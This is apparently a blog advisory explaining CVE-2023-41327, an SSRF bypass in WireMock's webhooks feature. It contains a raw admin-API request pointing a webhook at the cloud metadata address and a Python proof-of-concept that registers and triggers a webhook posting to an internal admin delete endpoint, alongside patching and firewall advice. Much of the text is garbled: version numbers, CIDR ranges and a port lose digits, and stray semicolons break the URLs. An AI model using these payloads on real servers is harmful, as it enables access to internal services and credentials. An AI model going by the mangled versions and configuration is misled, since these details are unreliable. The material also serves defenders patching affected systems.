CVE-2023-41327 - WireMock Webhooks Bypass – Full Exploit Explained

WireMock is a popular tool for mocking HTTP services, mostly used by developers and testers to simulate and control the behavior of APIs. The tool is designed with security in mind, using rules to restrict which addresses it can proxy requests to. But until recently, a serious vulnerability existed — and if you’re running WireMock with webhooks enabled in a Docker container or private cloud, you may be at serious risk.

This exclusive post takes you step-by-step through what CVE-2023-41327 is, how it works, its risks, and how attackers can exploit it. We’ll look at code, share real-world impact, and give you simple instructions for protecting your systems.

The Summary

- Vulnerability: Improper restriction of target addresses for webhooks, allowing attackers to send arbitrary POST requests from your WireMock server.
- Affected Versions: All WireMock Webhooks Extension versions before 3..-beta-15, and mainline WireMock before 2.35.1 and 3..3
- Impact: Attackers could use WireMock’s webhooks feature to make POST requests to any network location the server can reach — ignoring your limitProxyTargets configuration!
- Exploitability: HTTP POST requests can be redirected inside your network, potentially attacking internal APIs, applications, or management interfaces.

References:

- GitHub Security Advisory
- NVD listing
- Upstream Issue and PR

How WireMock’s Proxy Target Filtering Works

Ordinarily, WireMock lets you specify rules (limitProxyTargets) about where it’s allowed to forward traffic. Example configuration:

proxy:
  enabled: true
  limitProxyTargets:
    allowed:
      - 10.../8
      - https://api.example.com
    denied:
      - 10...42

Allowed rules are checked first, then all denied. This way, you can stop WireMock from accidentally (or maliciously) sending requests to dangerous or restricted endpoints.

What Went Wrong: The Webhooks Bypass

The bug: The target address filtering was NOT applied to webhooks at all until version 3..-beta-15.
Attackers could add, modify, or trigger webhooks that POST to any reachable URL — including internal network addresses or admin interfaces — even if they were denied in your limitProxyTargets config.

> *Imagine: Your cloud WireMock container can see private services behind your firewall. An attacker can now abuse your own server to reach those!*

Exploit Scenario: How an Attacker Does It

Assume you have a WireMock instance running in a container or VPC with limitProxyTargets set up. The attacker discovers your WireMock admin endpoint (like /__admin/) is exposed, or you’re using a weak key for webhook management.

Step 1: Malicious Webhook Registration

They register a webhook to post to any internal API — here, for example, an AWS metadata endpoint or internal dashboard:

POST /__admin/webhooks
Content-Type: application/json

{
  "request": { "method": "GET", "url": "/api/v1/trigger-me" },
  "response": {
    "status": 200,
    "body": "Hooked!"
  },
  "webhook": {
    "method": "POST",
    "url": "http://169.254.169.254/latest/meta-data";,  // Instance metadata service!
    "headers": { "Authorization": "Bearer <some-token>" },
    "body": "attack=true"
  }
}

Step 2: Triggering the Webhook

The attacker triggers the matching request, causing WireMock to send a POST request from inside your secure network to the chosen internal endpoint.

Result:

- Accessing restricted services, reading sensitive metadata, or even triggering unwanted admin changes.

Example Exploit: Proof of Concept

Here’s a simple Python script to register and trigger a dangerous webhook against a vulnerable WireMock endpoint.

import requests

WIREMOCK = "http://wiremock-victim:808";

# Setup a webhook to POST to an internal target
WEBHOOK_JSON = {
    "request": {
        "method": "GET",
        "url": "/trigger-webhook"
    },
    "webhook": {
        "method": "POST",
        "url": "http://internal-api.local/admin/delete";, # Internal! Not in allowed targets!
        "headers": {
            "Authorization": "Bearer attacker-token"
        },
        "body": "please delete"
    }
}

# Register the webhook
requests.post(f"{WIREMOCK}/__admin/webhooks", json=WEBHOOK_JSON)

# Now, trigger the webhook
requests.get(f"{WIREMOCK}/trigger-webhook")

Result:
WireMock will send the POST request to the internal API (http://internal-api.local/admin/delete) *even though your config would normally block external proxying to that address.*

Can be combined with other exploits or stolen tokens to access secure areas and APIs

- In multi-tenant/private clusters (Kubernetes, Docker, cloud), attackers may reach internal-only services and escalate quickly

Versions Affected and Fixed

| Version | Webhooks Filtering Vulnerable? |
|--------------------------|-------------------------------|
| Webhooks Extension <3..-beta-15 | YES |
| WireMock <2.35.1 | YES |
| WireMock >=2.35.1, >=3..3| NO |

WireMock Studio is discontinued and will NOT be patched. Upgrade or replace ASAP.

Can't Upgrade?

- Apply tight firewall rules to the host/container. Block outgoing requests to ALL addresses except what you explicitly need.
- Remove admin/public access to /__admin/webhooks

Conclusion

CVE-2023-41327 lets attackers bypass security controls in WireMock’s webhook feature to send POST requests wherever they want, from your own server.
This is a classic SSRF-style bug, and it’s especially dangerous in cloud or containerized setups, where your WireMock server can accidentally act as a gateway to sensitive internal targets.

References

- GitHub Security Advisory
- NVD CVE Detail
- Upstream Issue PR #61

Timeline

Published on: 09/06/2023 21:15:00 UTC
Last modified on: 09/12/2023 20:43:00 UTC